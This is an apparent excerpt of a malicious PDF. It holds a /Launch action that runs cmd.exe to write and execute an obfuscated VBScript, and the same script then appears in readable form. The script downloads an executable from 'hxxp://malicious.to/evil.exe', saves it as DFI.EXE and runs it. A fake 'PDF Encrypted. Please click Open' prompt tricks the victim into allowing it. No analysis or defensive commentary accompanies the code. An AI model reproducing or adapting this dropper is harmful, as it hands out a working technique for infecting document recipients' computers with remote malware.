<<
/OpenAction <<
//MUWMGAKILGORQRPPFBUVSKVEMSQDBKTNGQISNBGKRVDNCFIRVKOGIGAGSNBWTGRLRSJRCNWTBVLXFERCNFPHNJMVJTJIWQXGCFVNBNQPCSKSSHCWTEMUGNKXJWTTXIDUTNHELHBQREBOVFIAGUJPWUQRIFMLBDDSSDKAEMJALTGAPJFBNETUCIPVFVQOUTQCCMLIDUSTIFRTDBKTVMCTSWWMMFWODCKCXWDGHWUOVNJIDLWFKOTQTJDSMQPGVIURPGOLQGHFDPJMSSSNUMIICSFCLAWNFLUHXVAWAUCJMOQBMMOIQGDGGVQGVEMUQHSICNKTAVUPUVNBWVIPIMWOHTMTEURCIDETVSOPETXGKQKTLBLUQLIKJPMWAOXIUWBBQMBSHWSGTKMOWQEMGCTKDEOUPXSRLLCHTOUAJRTVKHOUDIQKAJPMDUALRFQWNVOXNACKUFQGVFCWBOGJTTMPXONOBJDJCXOTULMWVWUMGMXJGRDSAMGTXWHCCBWOGOXIUOPJNOLLOLXSIGVKUOLRVOEXCVRGBUKNTMLFRCUUEOVAPHUOPLAFQUWVHXFDATVBIVGPVXXCOKUVCRDIRFFSNTJOJMOPWPVDTKUOVXAUSVLBXPVFJXIUWDVEXOEWEGAGMHQWPOXWHRBKLPPWIIHEAVBINFLUOHCQMCSGIOJFDDKBCEDHVCHJPHBSVFMOMSFPGHGUPFJQENTNSNQMJSBMFGWHENAGDAKSKTUNBMINFPSFKUQXFDKIMACWWTXPXMNKRHRUEGNUFCEJGXHCKRDFPUMDDKQFFRWKCIEBSFHUOOOSRUOHKBUCTKJJJGJRDTCQKWRFJAKEQRJGWJKPIFERGOSEOIXUQLNRVQXWEHNBGWQTVEXAPJPVGXKGIWTIFIWSDTOESWRJOAXNCFFVFOIHELJQBVFDGHXFGNFSMUJPPCRRHVOQIFNGIVHPEMBPANDLSMHGTLWTNRPKQKOLRFVESDNSHAQJOELKKGSRQBNCANNGJWMKHRNFQRNBXJFQEKDHRNARKFLHUJTBBJCTDBGRIJVHIMVRHGOAGJMPUESJLWBITFMNWOWLDDTULCNRSCBAPCHFFWKWVBMGCAGLTDGDIMEVJUXFAEWGHEXTQLAHFFWUDPUGCRWGGERIFCMDROATKLGGAWNRMPEDUDEWSPPVHEPXFTLWOOXNAEVTXMFMWERSBJSQSOHQGVENFHFCRKOOKTXLPGMHMHMURQVVJUSNCFLSTJLMFOJPPXUXUSWLVWNNGVHOJMMGNEHFKTQFTGIIKKOXKGWUURPDCBLWLQOSEHJKGFXKCETKGABXWSAACXMENJSHKGOHDOQDMCHQH
/S /Launch/Win
<<
/F (CMD) /P (/c cD %tEMP% &@echo C9z = "hxxp://malicious.to/evil.exe">>Y7v.vbs &@echo Y4n = S6v("acfKbub")>>Y7v.vbs &@echo Set F6h = CreateObject(S6v("jpujiOKujieqqm"))>>Y7v.vbs &@echo F6h.Open S6v("dbq"), C9z, False>>Y7v.vbs &@echo F6h.send ("")>>Y7v.vbs &@echo Set R6c = CreateObject(S6v("^ala_Kpqob^j"))>>Y7v.vbs &@echo R6c.Open>>Y7v.vbs &@echo R6c.Type = 1 >>Y7v.vbs &@echo R6c.Write F6h.ResponseBody>>Y7v.vbs & @echo R6c.Position = 0 >>Y7v.vbs &@echo R6c.SaveToFile Y4n, 2 >>Y7v.vbs &@echo R6c.Close>>Y7v.vbs &@echo function S6v(N8g) >> Y7v.vbs &@echo For N7v = 1 To Len(N8g) >>Y7v.vbs &@echo O7v = Mid(N8g, N7v, 1) >>Y7v.vbs &@echo O7v = Chr(Asc(O7v)- 29) >>Y7v.vbs &@echo Y0n = Y0n + O7v >> Y7v.vbs &@echo Next >>Y7v.vbs &@echo S6v = Y0n >>Y7v.vbs &@echo End Function >>Y7v.vbs& Y7v.vbs &dEl Y7v.vbs & DFI.EXE
PDF Encrypted. Please click 'Open')
>>
>>
C9z = "hxxp://malicious.to/evil.exe"
Y4n = S6v("acfKbub")
Set F6h = CreateObject(S6v("jpujiOKujieqqm"))
F6h.Open S6v("dbq"), C9z, False
F6h.send ("")
Set R6c = CreateObject(S6v("^ala_Kpqob^j"))
R6c.Open
R6c.Type = 1
R6c.Write F6h.ResponseBody
R6c.Position = 0
R6c.SaveToFile Y4n, 2
R6c.Close
function S6v(N8g)
For N7v = 1 To Len(N8g)
O7v = Mid(N8g, N7v, 1)
O7v = Chr(Asc(O7v)- 29)
Y0n = Y0n + O7v
Next
S6v = Y0n
End Function